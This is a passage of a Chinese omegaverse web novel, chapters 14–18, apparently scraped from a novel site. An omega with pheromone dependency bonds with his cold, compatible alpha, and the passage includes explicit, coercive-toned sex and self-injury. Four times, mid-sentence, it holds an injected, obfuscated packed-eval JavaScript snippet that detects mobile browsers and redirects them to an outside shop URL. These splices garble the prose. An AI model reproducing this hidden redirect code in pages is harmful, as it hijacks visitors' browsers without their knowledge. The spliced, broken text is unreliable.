他竟然感受到前所未有的快感。 再睁眼就是医院了。 直觉告诉他,他的情热期或许出问题了。 而医生的回答也的确佐证了他的猜测。 “桑也,桑先生,你患有信息素依赖症,根据以往的研究,这是一项基因疾病,只不过在你第一次情热期以前一直没有产生症状。” 桑也不知道什么是信息素依赖症,但他知道跟基因有关的病症都不简单,闻言小脸立马出现了担忧之色。 病房里没有人说话。 他心中惴惴,“哥,哥你怎么不说话?我要死了吗?” “别说胡话。”桑守安皱眉,他转向医生,“陆医生,你说耶耶的依赖症是因为没有契合Alpha的信息素涵养腺体,那我只需要给他找到一个契合Alpha,这个所谓的依赖症就能解决对吗?” 契合Alpha?桑也转了转眼睛,他听着这病怎么好像把他搞成了某些渴Alpha人士呢。 陆医生点点头,“话是这么说,但是——” “一般的契合Alpha,不行。” 大多数情况下Alpha和Omega的结合都在百分之六十到百分之八十,而百分之八十以上的契合度极为罕见,几乎是成指数趋势减少,到百分之九十,整个C国都屈指可数。 阿姨替桑也掖了掖被角,小先生这小脸白得吓人,别再受凉了。 “那医生,要多少才算不一般呢?” 三双眼睛纷纷看向陆医生,只见他面色沉重。 “百分百契合以外,都算一般契合。” 房间里立马响起倒吸凉气的声音,是阿姨不禁发出感慨:“这,这也太难了吧?!我女儿和女婿百分之七十八的契合,都被大家称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406593|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作天作之合,这,百分百——从未见过!” 听到阿姨的话,桑也朝她看去,正好对上一双略带细纹、饱含可怜之情的眼睛。阿姨看着他长大,自然被他一病一痛牵动心弦。 桑也心底也一凉。 他抿了抿唇,本就毫无血色的双唇被挤压得更加苍白。 上天是在跟他开玩笑吗? 先是通知他,你得病了,病得很严重,然后又用轻松诙谐的语气告诉他,但是没关系,这个病是可以治愈的,最后收敛笑容对着他胸口来一刀,说,不过呢,会治这个病的医生已经全死了,你只有等死的份了。 他的心就像坐多年没有安检的过山车一样起起伏伏,最后撞破轨道冲上云霄,跌入谷底。 “哥,”他的唇瓣有些轻颤,“我没救了,对吗?” 他这几年经历了太多生死之事,一旦发生的事和死有点沾边,他的思绪就不自觉滑落到死亡那边,像是恶魔的天秤上黑色的筹码平白多了一枚。 “怎么可能。”桑守安的回答掷地有声,连陆医生都被他吸引。 “C国的信息素库里没有,就到其他国家去找,其他国家还没有,大不了就搞人工的,无非就是钱的事。” 桑氏集团总裁的确有底气说这种话。 陆医生笑了下,“倒也不必如此悲观,就算真的找不到百分百契合Alpha,还有一条路可以走。” “什么?” “挖除腺体。” 霎时间病房里死寂一片。 病房里两个Alpha,两个Omega,连阿姨都不是Beta,所有人都明白Alpha和Omega失去腺体意味着什么。 就连提出这个解决方法的陆医生在说出口后也为自己脱口而出感到荒谬——没办法,实在是百分百契合太难得了,相比之下挖除腺体都变得简单轻松。 陆医生叹了口气,打破了沉默,“你们先找着吧,最近这段时间我先用特效抑制剂和特调镇定剂帮桑先生控制住病情,如果一直没有找到——” “会有的。”桑守安说。 陆医生看了他一眼,“行。” 陆医生离开后,桑守安让阿姨也出去,期间桑也没有说一句话。 他不知道该说什么。 当了十八年的Omega,突然告诉他,你多半要被挖掉腺体变成一个连Beta都不如的残疾人,他怔愣地没有办法进行任何思考。 突然眼前一黑,是桑守安将他扶着坐了起来,又把他整个人拢在怀里,像小时候哄睡弟弟一样,拍拍他的背,沉重又坚定地说:“放心,哥无论如何都不会让你出事的。” 桑也的手从被子里钻出来,捏着大哥的西服衣角,闷声回应: “好。” …… 在第三次情热期来临之前,桑也一度以为自己的腺体注定要不保了。 15. 第 15 章 虽然陆医生给他开了不少药,镇定的,缓解的,抑制的,但都只能起到微末作用。 因为信息素依赖症和契合信息素的缺乏,寻常Omega三个月一次的情热期,在短短一个月不到的间隙后,他迎来了第二次。 尽管医生提前告知过病房里的人,他的情热期间隙会比一般人短暂,但第二次情热期来得如此之快还是让大家都措手不及。 正值夏日,午睡起来他觉得身上黏黏糊糊的,以为是自己空调没开,起来一看发现空调确实开着,十六度,这个温度对谁来说都算凉快了。 他立马就意识到,情热期又到了。 口干舌燥。 他把床头的水一口喝完,还是感觉全身都缺水般的干枯。腿有些软,但还能支撑他走出卧室,下楼倒了杯水。 阿姨从厨房出来,也发现了他的异样,连忙把他扶到沙发上坐着。 “耶耶情热期又来了?” 桑也想了下,点头。这时他脸上已经有些泛红。 “那我给先生打个电话吧,对了,还有医生,我也给他打个电话……” 就在阿姨这一句话的功夫,桑也突然感到一股热流涌到某一处,他下意识收拢了双腿。 似乎是觉得自己突然的动作太过明显羞耻,他没等阿姨打完电话,就撑着沙发扶手站起来,“我先回房间。” “哎——” 刚关上房门,他就滑坐到地板上。 开着空调的房间地板冰冷,刚好贴在他烧得滚烫的大腿肉上,冷得一激灵,却又异常地离不开。 他食髓知味地把睡袍往上撩,让更深的位置也贴在地板上。 …… 一个小时后,桑守安和陆医生才姗姗来迟。桑守安接到电话直接从会议里离开,但别墅在郊区,距离不短,是得花点时间,而陆医生则临时从市中心的医院赶来,同样耗时不短,不过再远都得来,拿人手短。 阿姨说桑也回房间了,桑守安先是敲了门,没有人回应,便让陆医生在门口等一会,他推门进去,直直看见一道血淋淋的人影。 白色的睡袍满是干涸变黑的血渍,裸露的双腿和手臂上抓挠一道又一道,地板上空的针管和包装袋就在他脚边,周围还有些已经干了的泛白水渍。 开门的时候,地上的人还在抠自己的手臂,手臂上的肌肉已经完全松弛使不上力,只能一遍又一遍地屈指抓挠。 桑守安说不出心里是什么感受,得到可能契合信息素消息的喜悦被面前的场景冲淡,他用睡袍把人包裹起来,意外发现原来自己弟弟竟然这么轻。 是一直这么轻,还是病发之后才这样的?是他没有照顾好弟弟。 “别挠,乖,医生已经来了,没事的。” 然而桑也似乎根本听不见他在说什么,桑守安只能把人放到床上,用被子把人裹起来,让他没办法动弹。 “陆医生,进来吧。” 陆医生进门显然也看见了地上的针管,拎着医药箱二话不说直接拿出了强效镇定剂。 “我预估失误了,桑先生的情况,用一般的抑制剂和镇定剂恐怕根本没办法缓解。” 镇定剂的作用类似于精神麻药,寻常人做手术麻药剂量都要算了又算,镇定剂也一样。而强效镇定剂,完全是冲着把人放到去的。 除非迫不得已,一般不会轻易使用。 “我不希望再有第二次失误。” 桑守安皱眉道。 陆医生在桑也腺体边注射了强效镇定剂,又拿了一些粉末状的药让桑守安给桑也泡服。 “全C国就这么两例。”陆医生挑眉,“第一例患者已经死了,换句话说,在全C国你也找不到一个有成功经验的医生。” 桑守安皱着的眉并没有松开,良久才问:“怎么死的?” “挖腺体,失败了。”陆医生收拾好医药箱,“众所周知,腺体对Alpha和Omega而言,不亚于第二个心脏。不仅有无数分泌腺,还有密密麻麻的神经,而且,联通大脑,控制人的行为。这也是Alpha和Omega被Beta嘲讽为被腺体控制的野兽的原因。” “契合Alpha有消息了吗?” 桑守安沉默了。 昨天就得到信息素库那边发来的消息,先是用十分夸张的语气恭喜他,接着发来了契合Alpha的信息。 他怎么也没想到,和自己弟弟百分百契合的人居然是相氏集团前两年上台的那位。手段雷厉风行,已经在他们圈子里有摄人的风评。 最重要的是,要是普通人,财、权、色,总有能让他心动的,可偏偏是三者都不缺的人。 难道要让他弟弟去和人培养感情? 可他们没有时间了。 桑守安把医生送走,坐在床头,注视着熟睡的弟弟。 阴影下恬静的睡颜是如此的令人安心——强效镇定剂的结果。 此时他心中已有了定论。 无论用什么方法,都要让他们尽快结合。 …… 桑也以为百分百契合的Alpha必然不会存在,当大哥告诉他已经有消息的时候,他甚至怀疑大哥是为了安慰他编出来的谎话,直到大哥说,明天安排晚上安排你们见一面,他才意识到是真的。 当天晚上他睡得并不安稳,满脑子都是这个陌生的Alpha。 他幻想这个人的长相,身高,年龄,声音,甚至连职业和家庭都进行了揣测。 一般而言Alpha都长得不错,至少不会丑成癞蛤蟆,因为信息素的作用,身高也有优势,至于年龄,如果是未婚,年龄大概率在三十以内,而声音,他把印象里的Alpha的声音都回忆了个遍,发现只要不是嗓子里卡拖鞋的黏糊音,他都能接受——虽然并没有他不接受的份。 更深入的,职业和家庭。 在桑也的猜测中,这个人的职业和家庭情况应该一般。如果很优越,恐怕不会轻易答应成为一个素未相识Omega的Alpha,还是一个有病的Omega。 他最能吸引一个Alpha抛下对疾病顾虑的因素,也就是他的家庭。这样的话,那个人应该和他的情况相反。 不过没关系,他不缺钱,也不需要从哪个Alpha那里得到钱。 只不过…… 只是有点遗憾,这个将和他紧密结合的Alpha,并不是他期待的那个人。 不知道是不是因为想得太多,还是信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406594|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素依赖症患者的情热期本就不太规律,第二天中午的时候,他情热期又到了,比契合Alpha先到。 大哥得知后,立马联系了那位Alpha,将见面时间提前。 考虑到桑也的情况,见面地点就在别墅。 桑也得知这一消息,还在犹豫这会不会不太合适。 这个意思,是要他和第一次见面的陌生Alpha结合吗? “耶耶,我不想再看到你打强效药了。你身上的伤疤都消了吗?” 桑也的意识渐渐模糊,双目变得无神,桑守安立马取出医生给的抑制剂给他打上。 随后关上门。 门再开的时候,桑也咬着被子,浑身都绷紧了。 滚滚热意像开水灼烧着他的皮肤和内脏,他既有着隐秘的欲求,又不能接受自己在陌生人面前作出如此举动。他不知道那人何时会来,只好一直强压内心深处的欲望。 听见开门的声音,他像快要渴死的鱼儿终于在沙漠里见到河流,欣喜若狂。 等他抬起头,虚焦的双目片刻后看清楚了来人,他却一动不动。 竟然是他! 桑也不知道该如何去描述自己复杂的内心。 一方面他惊喜于和自己契合的Alpha是自己所期待的Alpha,这种巧合就像那天的相遇也是信息素注定的一样;然而另一方面,他又耻于用现在的面貌去面对相召南,更遑论让相召南帮他度过情热期。 如果是个陌生人,他眼睛一睁一闭就过去了,可偏偏不是! 桑也张了张嘴,想要问相召南还记得他吗,想要说那天的糖很甜,想要告诉对方其实他很早就对他心动了。 可信息素涌上大脑,控制不住的颤抖传递到脚趾间,仿佛有一柄薄刃正在剜去他的血肉,他颤颤巍巍地发出声音,说的竟然是—— “帮帮我……” 毫无尊严和骨气。 空气里柑橘味信息素立马炸开,仿佛把空气都挤压变得稀薄。 或许相召南不一定记得他,但冰霜味的信息素在柑橘味信息素的诱导下迅速做出了反应。 百分百契合的作用如此明显。 …… 如果他们正式的相识不是这样窘迫的场景,或许他们会有一个两情相悦的美好结局。 所以他翻开书页,想要弥补。 但这样的憧憬在他听到相召南说“你连信息素都控制不了,还能做好什么”时,就已经破碎了。 在家里被宠着长大,十指不沾阳春水的桑也,在为爱下厨却摔碎了碗、划破了手时,却听到这样伤人心的话。 他捂着流血的手指,瞳孔骤然放大,满是震惊、受伤和倔强,不想在相召南面前表现得脆弱,跑回房间偷偷难过,想念爸爸妈妈。 爸妈已经走了,他得坚强。 人生无非两种状态,要么选择热爱,要么热爱选择。 他本以为自己选择了热爱,现在发现只能热爱选择,沉没沉本太多,他别无他法 但都没关系,只要是他,都没关系。 没有人的心是寒冰,他总能捂热的。 就是这样天真的臆想,让第一次无限延续,第二次,第三次…… 16. 第 16 章 虽然他们有一个不完美的开始,虽然相召南对他心有芥蒂,虽然相召南对他百般怀疑,虽然…… 不能细想。 细想下来,这薄冰般的关系岌岌可危,随时可能崩塌。 他们能一起走过四年,全靠他不要脸。 桑也心想。 哦,错了。是他单方面骚扰相召南四年。没有一起。 还是想得乐观了。 也不知道到底是什么让他像中魇了一样低声下气。 凌星知道了他赌气跑回春城结果待了不到一天又回来的丢脸事迹后真诚发问,然而桑也自己也不甚清晰。 他回:【我不知道。】 他真的不知道。 回完信息,桑也又收到常买的几家服装品牌的消息,说是秋季新品已经上市,如果他需要,可以帮他预留一些适合他的新品。 这些奢侈品牌子总是这样做,天还没热起来,夏天还没到,他们就进入秋季了。 不过刚好明天有相氏的酒会,他之前的正装已经过时,不合适穿出席,他便挑了一家选了个时间过去看看。 以他家的实力完全可以让店员带着新品和模特到家里来一一展示给他看,但桑也在家待得时间太久了,就当是给自己找个理由出去透透气。 华润湾的位置就在市中心,周边都是高端商场,去哪都方便,甚至用不着开车,走路十分钟就行。 商场一楼有家甜品店,估计是喷了某种香氛,一走进商场就闻见了那股甜滋滋的香气。 对于不喜欢的人可能觉得发腻,对于喜欢的人,比如桑也,完全是正中下怀。 他不赶时间,便去选了个草莓味的杯子蛋糕。 陶瓷杯子有个环形把手,但很小,根本不是他一个成年人的手可以扣住的,似乎是给小朋友专门设计的。 不过他环视了下周围,成年男女成双成对,反而没什么小孩,他便放心买了,学着刚离开的一对学生情侣的样子边走边吃。 甜的热度高,边走边吃刚好消耗点卡路里,相当于没吃。 嗯。 到了奢侈品门店,他把吃了一半的草莓蛋糕随手放在台面上,问店员官网那套白色的西服在哪。 店员一脸诧异,说桑先生你怎么来了? 桑也倒也奇怪,不是你们说有新品吗? 然而店员却说:“刚才有一位Omega先生进来也看上了那套西服,我本想说是给您预留的,结果他报了相先生的会员,我以为是帮您买的,就给他了。” 桑也没有说话。 半晌,他问:“比我矮一些的Omega?” “对,大概到您这儿。”店员比划了一下身高。 店员用八卦的眼神看着他,似乎想从他的神情中窥探到些许豪门轶事作为谈资。 他应该表现得怎么样?得知自己Alpha疑似出轨后生气得破口大骂,还是因另一个Omega可以得到自己得不到的关照而嫉妒到五官扭曲? 可惜他没有力气去做那些事情,只是点点头,“我知道了。你帮我把另外两套包起来吧。”毕竟店员等他一场,还是不能让人家白等了。 他把卡递过去,低着头,像是在思考什么。 但其实他脑子里什么也没有,只觉得好累。 店员手脚利索,很快就帮他结好了账,把袋子递给他。 桑也转身就要走。 被店员叫住。 “先生,您的蛋糕忘了。” 店员小跑追过来,两手递过蛋糕。 圆润可爱的陶瓷杯子胖乎乎的,是一只黄色的柯基犬托着大大的瓷杯,童趣满满。 桑也盯着看了两秒,突然眼前一阵晕眩,他说:“帮我扔了吧,谢谢。” “太甜了。” 走出去七八米,隐约听见店员跟同事谈论:“有钱真好,拳头大小的蛋糕一百八十八一个,吃两口就不要了。” “你下次当心点吧,别把客户得罪了。” “那个Omega一上来就报别人的会员,我寻思什么人呢,哪想那么多。” “没想到天天在电视上出现的Alpha也搞外遇……” “嘘——” 到家之后桑也让阿姨把这两套西服处理一下,弄好之后他拍了张照片,摁亮了手机。 手指停留在和相召南的对话框上,他犹豫了一下,最后还是点进去。 发送照片。 【南哥,明天酒会我穿哪套合适?白色还是蓝色?】 手机屏幕停留在对话界面,大概过了五分钟,也没有听到叮的一声。 没有回复。 可能在忙。 他退出去,又给凌星发了消息。 【帮我选选明天酒会穿哪套合适。】 这样才不会显得他给相召南发消息的行为过于刻意。好像他真的想要得到别人的建议。 凌星回得倒是快。 【照片呢?卡了?】 桑也愣了一下,才意识到自己忘记发照片了。他把照片发过去,又回了一句:【可能卡了,我重新发了,你看看。】 【白色吧。】 【蓝色不适合你。】 【好。】 【那穿蓝色的。】 【?】 桑也看着照片突然想起被别人买走的那套西服也是白色,突然就有点排斥。 他给凌星发了个微笑的表情,收到了来自凌星亲切问候的六十秒语音。 …… 相氏的核心业务在投资,新兴的各大科技公司几乎都有相氏的参股。有人说,相氏家大业大,什么领域都敢掺一脚,什么公司,只要有盈利的机会,都敢投钱,有些公司表面上看似竞争关系,一看最大投资商,都是相氏。 创业青年都把它称作财神爷。 这天的酒会,来的都是有头有脸的人物,桑也不敢自诩是相家的一份子,只是无声无息地进入了酒店大堂。 他按照自己的习惯直接到了甜点台,站在那里看着琳琅满目的甜品,突然又不知道要不要吃。 “桑哥?” 桑也闻声回头,果然看见相渡南。 “桑哥你怎么一个人在这里?哥在那边和高管谈话,要不我领你过去?” 桑也不了解这些,也不认识相氏几个人,顶多几面之缘,他摇头:“不必了。” 他没有参与到相氏,不是他们的自家人;大哥给他转让的股份也被他压着没有公证,并不作为合作伙伴出现。 所以他收到邀请函,完全是因为他和相召南的婚姻。 他本可以不来,但他既占着相召南的合法配偶的身份,就有权利出席,他放不下这一丁点权利,加上想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406595|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看相召南所处的环境,想多了解他,于是他来了 但这并不意味着他可以随意走往,不能给相召南、给大哥惹麻烦。 “那行,刚好我不熟悉公司业务,人没认完,我也不去打扰他们了。”相渡南坦然一笑。 桑也也笑了一下。 相渡南作为私生子,虽然亲妈上位成功,但毕竟出生不光彩,还有一个能力强悍的大哥压在头上,来和不来都有说法。 他来了,于是也成了这场酒会的边缘人物。 桑也默默叹息一声。 这人的处境竟和他有三分相似。 “桑哥你那几幅画我全都给挂上了,专门找了显眼的位置,效果很好!所有进来的人都要驻足片刻,都说画得好。” 相渡南竖了个大拇指。 桑也听他说挂在显眼位置,还觉得尴尬,但相渡南丝毫不觉得,笑得很爽朗,也打消了他的羞赧,回以一个淡然的笑容。 “喜欢就好,也算没有浪费。” “相总好!” 密密麻麻的人语声中突然传来这样一声。 桑也下意识回头,却没有看见相召南,以为自己看错了,再定睛一看,在不远处发现了相民,相召南的生身父亲,身边跟着一个助理,估计就是这个助理喊的相总。 看来喊的不是相召南,而是相民。只是意外相民已经退出核心管理好几年了,今年居然会出现公司酒会。 二人朝着桑也走来。 相渡南先和相民打了招呼,桑也才接上。他和林晓燕不熟,和相民更不熟,虽然常年的社交让他足以表现得不局促,但也绝对熟络不到哪里去。 “相总,晚上好。” 相民笑着摆手:“我这都离开公司多久,还叫什么相总。” “相召南呢?这小子怎么没在你身边?” 桑也摇头,相渡南说:“哥忙着呢。” “那你就闲着?还不赶紧跟你哥多学习学习。”相民虚虚踹了一脚。 相渡南立马求饶,“得得得,我马上就去。”又转头问桑也:“嫂子跟我一块去吗?” 桑也嗯了声,和相民作别。比起和相民寒暄,他宁愿跟着相渡南去找相召南。 相召南的位置很好找,他身边站了不少人,虽然没有围上去,但都在周边等着蓄势待发,就等相召南和正在交谈的人说完话,争夺下一个谈话的资格。 他和相渡南有一搭没一搭地聊着几句,边聊边走近人群。 背对他的相召南身形高大,黑色西服衬得他肩宽腰窄,很有压迫力。在群狼环伺的酒会,气定神闲立在人群之中,年仅二十七,却有着不同寻常的老练和气派。 他身后的几个人让出道来,桑也的脚步突然顿住。 “怎么了桑哥?” 其他人的交谈并没有因为桑也的顿步而暂停,谈话声源源不断地传入他耳中。 “钱助理年少有为,这么大个酒会打理得井井有条!” “相总身边哪有闲人?哪个不是一个顶十个的人才?” “谬赞了,是相总给我这个机会我才能得到锻炼。” 钱余。 穿着那一套白色西服,站在相召南身边,身高和相召南形成巨大身高差。 桑也朝相渡南晃了晃头,指了指外面,说:“来的不巧。我先出去透透气。” 17. 第 17 章 没等相渡南做出什么反应他就自顾自地离开了人群。 二楼的阳台刚好可以看见室外的夜景,江流不息,两岸高楼灯光内透,有着商业城市独有的魅力。 他站在金属栏杆前,对自己的举动感到好笑。 其实他早该料到钱余会出现,不是吗? 一个人的精力总是有限的,不在他身上,自然就在别人身上。 只是……被那两道和谐到刺目的背影灼了心口。 桑也抬了抬头,避免自己一时情绪失控,作出丢脸的事情。 今晚所见,若是他告诉凌星,凌星肯定会撸起袖子说走我们去找他们干架。 这就是他和凌星的区别。 可相召南真的和钱余有超出界限的关系吗?如果有,相召南是什么态度,要和他离婚吗?如果没有,他问了,相召南会不会生气? 他总是优柔寡断,顾虑太多,明明是别人的错,却总在反思自己。 他的成长环境注定了他的性格,在满怀爱的群体中,人们是很难指责其他人的。而现在,环境变了,人没变,于是他难以适应。 ——不,现在,或许不一样了。 似乎有什么东西在悄然改变,等待某个时间,破土而出。 “你什么都不懂,来这里做什么。”相召南的声音在他背后不远处响起。 桑也没有回头,只隐隐听见了有人离开的脚步声,可能相召南有话要和他说吧。 类似的质问他并非第一次听见。 他控制不住信息素,拿不稳碗,不在公司工作,就足以让相召南给他贴上“什么都不懂”的标签。 也许他说得对。 也许是桑也已经失去了辩驳的力气。 他什么也没说,没有否认,没有质疑,也没有回头。 “你怎么来了。”相召南走到他身边停下,投射下来一片阴影。 桑也不能当鹌鹑装听不见,“那下次不来了。” 身边的人沉默了两秒,“我不是那个意思。” 他将左手手腕放在栏杆上,七位数的江诗丹顿与栏杆碰撞发出声响,但它的主人没有丝毫心疼,只是用手臂撑着身体,另一只手揉了揉眉心。 “你看见钱余了?” “老师让我带他学习学习,我总不能把他随便丢给谁去带。要是教不好,就是我能力的问题。”相召南心中也烦闷,本来公司就业务繁忙,还得想着安排磨练老师的孩子,最后他补了句:“算了,你不明白。” “好。” “桑也。”相召南突然叫他的名字,敛眉:“少和相渡南来往,他不是什么纯善的人,别被他骗了。” 自己和Omega亲密是迫不得已,他和Alpha聊几句就是心怀不轨。桑也突然笑了,他转头望向相召南,白色的灯光挂在他半张侧脸上,挺翘的鼻尖和圆润的眼眸如山似海。 他笑意盈盈:“南哥,我很好骗吗?” 肉眼可见相召南的眼神有一瞬的晦暗,“你说什么?” 他转身,道:“酒会没什么意思,我让司机送你回去。” 随后就抬脚走了。 似乎完全不担心桑也有不跟上的可能。 桑也的目光收回来,看了一眼人流涌动的江景,说了句“是没意思”,也朝着停车库的位置走去。 相召南先一步到车前,司机已经在驾驶位等候了。 “先送他回去。” “好,相总。还是江清府吗?”司机确认了一下。 此话一出,相召南和桑也都站住了。 桑也品了品这三个字,“江清府。” 相召南揉了揉太阳穴,拉开了主驾驶位的车门。 “今天不用你了,下去吧。” 司机大惊失色,又不敢说什么,神色慌张下了车。 相召南要亲自开车送他回家,说实话,桑也并不是很信任他,当初被丢在马路边上的画面还历历在目。 “酒驾不安全,还是司机来吧。” “我没喝酒。”相召南已经系好了安全带,手握住方向盘,见桑也没动,又重复了一句:“我不喝酒。” 桑也深深吸了一口气,胸腔似乎都要被吸进去的气挤爆了,酸酸的。 原来那天被丢下甚至都不能以醉酒脑子不清醒作为理由来安抚自己。 他坐进副驾驶位,对相召南说了句:“别为难司机。” “我不是那种人。” 片刻后,相召南似乎还在放不下司机意外说出口的那句话,解释道:“江清府——” “当初钱余看我日日加班,以为是因为郊区太远才留宿在办公室,劝我在公司附近买套房,又说他刚好有个朋友要出国,有套房子想出手。我不想听他多唠叨,就接手了。前段时间有场酒局,他说要锻炼酒量,结果喝醉了,我又不好把醉成烂泥的人送回他爸那,就让助理送他到江清府歇了一晚上。” “这样啊。”桑也回复。 车辆跑在车水马龙的内环快速路上,桑也怕晕车,闭着眼,灯光时明时暗,穿过眼皮射入他的眼球中,在他的脑海里形成各种各样的画面。 也许这就是学绘画人的天赋,即使眼前什么都没有,只是一点灯光的变化,他都能想象出刺激精彩的画面。 像经常在短视频上能看见的地铁跑酷。 他沉浸在自己的世界里,突然听见一句:“你不适合蓝色。” 霎时间平和的心情被打破了。 相召南一句没头没脑的点评让桑也顿时感到沉闷,对于这句评价,他是在难以说出“谢谢”二字。 “你看见我发的消息了?” 相召南没有立马回答,好一会才说:“当时在忙。” “大忙人。可惜,已经穿上了。” 桑也随口一说。 车辆一个急刹。 要不是安全带系好了,桑也恐怕会直直飞出去。 车停稳了,心却安宁不下来。 如此相似的一幕。 事情又要重演了吗? 他的目光移向相召南,握在方向盘上的双手收紧,青筋突起。突如其来的静寂让桑也心里一紧,他看见那双骨节分明的手,不知道是不是因为他们的见面大多赤身裸体充满暴力,他不由得想,相召南要对他动粗吗? 然而比这种疑虑更让他感到哀戚的是——如果真的发生,可能他连那分秒的粗暴都会珍惜,像饥饿的流浪汉收到赈济一样吸食Alpha外溢的信息素,如获至宝。 因为那令人窒息的信息素依赖症,片刻的肌肤相亲都让他心旷神怡,哪怕是暴力。 他已经被信息素依赖症折磨疯了。 一秒。两秒。三秒。 绿灯亮起,车辆重新起步。 桑也才小小松了口气。 然而心跳还没平稳下来一分钟,在车辆不急不徐行进时,左侧传来相召南的声音:“你在怨我?还是怕我?” 相召南听出来了? 桑也抬眸,缓缓转动眼球,在长方形的后视镜中看见那双狭长的黑色眼眸,只短暂的一眼,他便触电般收回目光。 他的反抗太隐秘,隐秘到被人发现都让他感到心虚。 心脏再次剧烈跳动起来,仿佛有一只无形的手贯穿了他的胸腔,捏住那团软肉用力挤压。 桑也听见震耳欲聋的心跳声,腺体不由自主地松开了闸门,甜滋滋的柑橘味信息素在车内密闭空间四处游走。 他不敢看相召南,甚至不敢去揣测相召南现在的神情,只是蜷缩着上身,捂住自己的腺体,试图挡住释放的信息素。 可是信息素溶于空气,不是什么能被挡住的东西,短短几秒,柑橘味瞬间布满了车室。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406596|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>害怕,紧张,担心。 好在,一丝冰霜味信息素幽幽传来,瞬间被柑橘味信息素吞噬。 桑也稍稍安心了些。 像是得到了什么许可书一样,他闭上眼,靠在椅背上舒展身体。 二十分钟左右,车辆停下。 桑也半梦半醒,在熟悉的信息素包裹下,他睡得很熟,醒来有种浑身舒畅的感觉。 解开安全带,拉车门。 ——没拉开。 桑也意识到什么,手仍还停留在门开关上,回头看向相召南。 只见相召南双腿敞开,整个人靠在座椅上,因为长手长脚,还能把手搭在方向盘上。流畅的身体线条和勃发的肌肉在昏暗的停车场灯光下蒙上了一层朦胧的色彩。 “桑也。” “不要随便对着ALpha发情,是什么很困难的事情么。” 桑也呼吸一滞。 信息素…… 他下意识咬了咬下唇,下唇霎时失去血色,又随着咬痕的加深,逐渐濡湿泛红。 他不是故意的。他只是控制不住。他也不想的…… 桑也小幅度地摇头,轻声道:“我没有……” 相召南瞬间俯身过来,粗粝的手指钻进衬衫领口内,用力按压了一下娇嫩的腺体,实在算不上怜惜。 像是柑橘被用力挤压爆出果汁,柑橘味信息素瞬间百倍释出。 “是么,它不是这么说的。” 桑也低着头,只看得见相召南胸口鼓起的黑色西服。 车座缓缓放平。 相召南打开抽屉,在里面摸了两下,却没摸到想要的东西,不耐烦地啧了一声。 …… 旖旎的氛围在昏暗的灯光下更加醇厚。如雪般的肌肤透着醇香的粉色,耳根,手肘,膝关节。车库温度低,桑也□□,却不觉得寒冷,甚至还沁出了丝丝薄汗,蕴着甜腻的信息素。 直到触及那一抹滚烫,桑也才意识到信息素的作用不只对他起效。 一个半小时过去,他浑身都酸胀无比,还是坚持着等相召南结束。 在关键时刻,他挺起胸膛,嘴唇贴在相召南的耳根,呢喃:“南哥,我爱你……” 刺耳的手机铃声响起。 相召南一边从抽屉里摸出手机,一边抽了两张餐巾纸擦拭,两下三就拉好了拉链。 “什么事。” “知道了,半个小时到。”他挂断电话,从身边拿出刚才层层剥落的桑也的衣服,丢在他身上。 相召南什么都没说,但桑也听见了电话那边钱余的声音,他挤出一个僵硬的笑,拿了两张纸简单擦了一下,把衣服裤子迅速套上,扣子都扣乱了。 又要走,甚至连楼都没上。 桑也说不出心里什么感受,只能说习以为常。 他下了车,车辆立马掉头,开出去几米突然又倒回来,主驾驶位的车窗摇下来。 “记得吃药。” “……好。” 好半晌,他站在电梯门口,突然回神发现自己还没有按下电梯按钮。 进电梯之后,他一个人站着,借着电梯金属的反光面整理衣服,突然感到有什么东西流了出来,大腿下意识收拢。 好在华润湾属于高档小区,各类设施长期处于过剩状况,不会被人看见他的窘迫。 做Omega做到他这样,也算是给Omega群体抹黑了吧。 桑也苦笑。 却看见自己模糊的脸笑得难看,连笑也不敢笑了。 他怀疑相召南学过心理学,每次见面把他搞得不愉快,随后晾在一边,晾个十天半个月,他就会十分配合地忘掉不愉快,又满怀欣喜地奔赴下一次见面。越是难受,越是忘不了那天在礼堂外面,吃到的糖。周而复始。 骗子。 相召南你就是个大骗子。 18. 第 18 章 